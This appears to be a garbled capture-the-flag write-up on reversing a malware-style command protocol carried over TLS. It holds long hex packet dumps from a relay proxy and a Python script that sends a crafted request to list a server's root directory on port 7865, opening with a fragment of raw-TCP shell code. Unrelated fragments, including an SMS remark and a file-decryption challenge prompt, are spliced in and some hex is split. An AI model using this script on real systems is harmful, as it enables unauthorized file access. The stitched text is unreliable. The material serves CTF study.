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="exit" : command=raw_input("$") self.sendline(command) time.sleep(0.5) print self.recv() def close(self) : data = IP(dst=self.dst) / TCP(dport=self.dport, sport=self.sport,seq=self.sequence_send,ack=self.sequence_recv,flags='F') send(data,verbose=0) #print 'delete iptables reset rule! MS messages have become one of the most common forms of communication.

Write up link The main goal of this challenge is to: provided in this directory is an example of TLS relay proxy. Indeed, this string is passed as a data block, which is a serialized protobuf message.

Once you got the clear text communications, you can start your analysis. Moreover, the size of the block precedes the actual data.

For your information, the protocol structure looks like the following: [email protected]:~/Téléchargements# ./tls_relay -remote 192.168.122.65 [712/1099]2017/03/10 Listening on 127.0.0.88 2017/03/10 Client packet 2017/03/10 010000001c5fd4d6cac9e34a65858709b5a4cf59bb0000000001000200000000 2017/03/10 Server packet 2017/03/10 0100000062000000000000000000000000000000000000001c020002000000460a2a0a04686f7374122274686574616c6b696e676775792e7175616c732e6e75697464756861636b2e636f6d0a0c0a04706f72741204373836350a0a0a046672657112023230 2017/03/10 Client packet 2017/03/10 010000001c5fd4d6cac9e34a65858709b5a4cf59bb0000000001000200000000 2017/03/10 Server packet 2017/03/10 0100000062000000000000000000000000000000000000001c020002000000460a2a0a04686f7374122274686574616c6b696e676775792e7175616c732e6e75697464756861636b2e636f6d0a0c0a04706f72741204373836350a0a0a046672657112023230 2017/03/10 Client packet 2017/03/10 010000001c5fd4d6cac9e34a65858709b5a4cf59bb0000000001000700000000 2017/03/10 Server packet 2017/03/10 010000001c000000000000000000000000000000000000000001000100000000 2017/03/10 Client packet 2017/03/10 010000001c5fd4d6cac9e34a65858709b5a4cf59bb0000001c02000100000000 2017/03/10 Server packet 2017/03/10 010000001c000000000000000000000000000000000000000001000600000000 2017/03/10 Client packet 2017/03/10 01000001f45fd4d6cac9e34a65858709b5a4cf59bb0000001c020006000001d80a4c0a075379736e616d6512414c696e75780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4d0a084e6f64656e616d6512416b616c69000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4c0a074d616368696e6512417838365f363400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4c0a0752656c656173651241342e362e302d6b616c69312d616d6436340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4f0a0a446f6d61696e6e616d651241286e6f6e652900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4c0a0756657273696f6e1241233120534d502044656269616e20342e362e342d316b616c69312028323031362d30372d3231290000000000000000000000000000000000000000000000000000 # Directory listing request 2017/03/10 Server packet 2017/03/10 01000000220000000000000000000000000000000000000000010005000000060a042f746d70 # Directory listing response 2017/03/10 Client packet 2017/03/10 01000001945fd4d6cac9e34a65858709b5a4cf59bb00000022020005000001780a0d0a092e4943452d756e697810010a0e0a0a2e546573742d756e697810010a0d0a0b2e58313032342d6c6f636b0a0d0a092e5831312d756e697810010a0d0a092e58494d2d756e697810010a0e0a0a2e666f6e742d756e697810010a2aa28636535313166636537356562326533656563306166326663313566326661313330376566336165310a110a0d6d6f7a696c6c615f726f6f743010010a140a107373682d504f50317176565443734b6a10010a4a0a4673797374656d642d707269766174652d34333933653034353236616334636363623837666363663930383064326530642d66f6c6f72642e736572766963652d4c636e6e737210010a500a4c73797374656d642d707269766174652d34333933653034353236616334636363623837666363663930383064326530642d72746b69742d6461656d6f6e2e736572766963652d72656d4e494510010a0a0a06746d75782d3010010a1b0a17747261636b65722d657874726163742d 6696c65732e301001 2017/03/10 Server packet 2017/03/10 01000002730000000000000000000000000000000000000000010004000002570a2d2f746d702f636535313166636537356562326533656563306166326663313566326661313330376566336165311080041a207e8c8219f2d5ef79e9013db5f8f94beb72027811fafa12539ee3f25671af9d44228004787fa7806066271bcec1751b2a9f5c8e6099147759d30773fdf7f026dc65f293701bc95686b46dcf903ff09235081ff0cdf3a263fa71301a2ed8bdba386e19a8faea24eec80c42b13db20acb31272db020a414119952dacd634c2071af9cd21cb62a540f517950031f16a6322078fe30fdefa55e3e92f8ab8e3edae396ebcbb8c7a5377a696e191c1e41619a5bc4495ffbecf312148a15e10557b5f7b8ac9cf53465c08e1a783019b7860f6e96415a2ed7b09af15052dd2640740630e2df1c5b90049ff2bd867ad92803bd17e7997c00eedadbdafc6ae0c297029feeed778457fafa4325b99b8441bfe987252672c1930a6351df2706cb3ce6d55e84e1f1f7fde9238d8a98768426515da8e26b838eb62f098fe8a97421 177dbfeabc87665eb227613770961a578f75c5f7433f7f6458e71ee9b5852f021a6efa4d52441d48734340bb03b46f4716cb29cf3b3726c43d7d8e5af3b311a8f8b8f6dc24fa8f2dc87a1f3aae2ac187a19fe047d058a8ae7f27fe5f202b28fde780b988bdd5d3c4632bac297fd63561d9eb7223ea123d912e5736b191cbc2f17e417d32f783505c3ca17b4891f07026aadece9867fbf946fe9fd57174cc6ae26ff75be821e5221443e8ea6f3fa00330422a2d184ae792e3ee685b51685975cb41c4e4063b046950c4d60451f4c24389ca8a0303b5b082947681000787ac7bf3f8abb3587e19b7 2017/03/10 Client packet 2017/03/10 010000001c5fd4d6cac9e34a65858709b5a4cf59bb0000027302000400000000 # Download file request 2017/03/10 Server packet 2017/03/10 010000004b00000000000000000000000000000000000000000100030000002f0a2d2f746d702f63653531316663653735656232653365656330616632666331356632666131333037656633616531 # Dowload file response 2017/03/10 Client packet 2017/03/10 01000002735fd4d6cac9e34a65858709b5a4cf59bb0000004b020003000002570a2d2f746d702f636535313166636537356562326533656563306166326663313566326661313330376566336165311080041a207e8c8219f2d5ef79e9013db5f8f94beb72027811fafa12539ee3f25671af9d44228004787fa7806066271bcec1751b2a9f5c8e6099147759d30773fdf7f026dc65f293701bc95686b46dcf903ff09235081ff0cdf3a263fa71301a2ed8bdba386e19a8faea24eec80c42b13db20acb31272db020a414119952dacd634c2071af9cd21cb62a540f517950031f16a6322078fe30fdefa55e3e92f8ab8e3edae396ebcbb8c7a5377a696e191c1e41619a5bc4495ffbecf312148a15e10557b5f7b8ac9cf53465c08e1a783019b7860f6e96415a2ed7b09af15052dd2640740630e2df1c5b90049ff2bd867ad92803bd17e7997c00eedadbdafc6ae0c297029feeed778457fafa4325b99b8441bfe987252672c1930a6351df2706cb3ce6d55e84e1f1f7fde9238d8a98768426515da8e26b838eb62f098fe8a97421177dbfeabc87665eb227613770961a578f75c5f7433f7f6458e71ee9b5852f021a6efa4d52441d48734340bb03b46f4716cb29cf3b3726c43d7d8e5af3b311a8f8b8f6dc24fa8f2dc87a1f3aae2ac187a19fe047d058a8ae7f27fe5f202b28fde780b988bdd5d3c4632bac297fd63561d9eb7223ea123d912e5736b191cbc2f17e417d32f783505c3ca17b4891f07026aadece9867fbf946fe9fd57174cc6ae26ff75be821e5221443e8ea6f3fa00330422a2d184ae792e3ee685b51685975cb41c4e4063b046950c4d60451f4c24389ca8a0303b5b082947681000787ac7bf3f8abb3587e19b7 directory_listing_resp = '01000001945fd4d6cac9e34a65858709b5a4cf59bb00000022020005000001780a0d0a092e4943452d756e697810010a0e0a0a2e546573742d756e697810010a0d0a0b2e58313032342d6c6f636b0a0d0a092e5831312d756e697810010a0d0a092e58494d2d756e697810010a0e0a0a2e666f6e742d756e697810010a2aa28636535313166636537356562326533656563306166326663313566326661313330376566336165310a110a0d6d6f7a696c6c615f726f6f743010010a140a107373682d504f50317176565443734b6a10010a4a0a4673797374656d642d707269766174652d34333933653034353236616334636363623837666363663930383064326530642d66f6c6f72642e736572766963652d4c636e6e737210010a500a4c73797374656d642d707269766174652d34333933653034353236616334636363623837666363663930383064326530642d72746b69742d6461656d6f6e2e736572766963652d72656d4e494510010a0a0a06746d75782d3010010a1b0a17747261636b65722d657874726163742d' binascii.unhexlify(directory_listing_resp) '\x01\x00\x00\x01\x94_\xd4\xd6\xca\xc9\xe3Je\x85\x87\t\xb5\xa4\xcf Y\xbb\x00\x00\x00"\x02\x00\x05\x00\x00\x01x\n\r\n\t. Thus, our payload (hex encoded) will be the following: import sys import socket import binascii import ssl PORT = 7865 # Directory listing of '/' DIRLIST_PAYLOAD = b'0100000022A000000000000000000000000000000000000000010005000000030a012f' def exp(host, port): sock = socket.socket(socket. SOCK_STREAM) sock.settimeout(10) # Use TLSv1.2 wrapped = ssl.wrap_socket(sock, ssl_version=ssl.

PROTOCOL_TLSv1_2) wrapped.connect((host,port)) # Send payload wrapped.send(binascii.unhexlify(DIRLIST_PAYLOAD)) resp = str(wrapped.recv(8192)) print(resp) if __name__ == '__main__': host = sys.argv[1] exp(host, PORT) Hello Mister Bond We have a problem.

Can you help us to decrypt our files by finding the encryption key?

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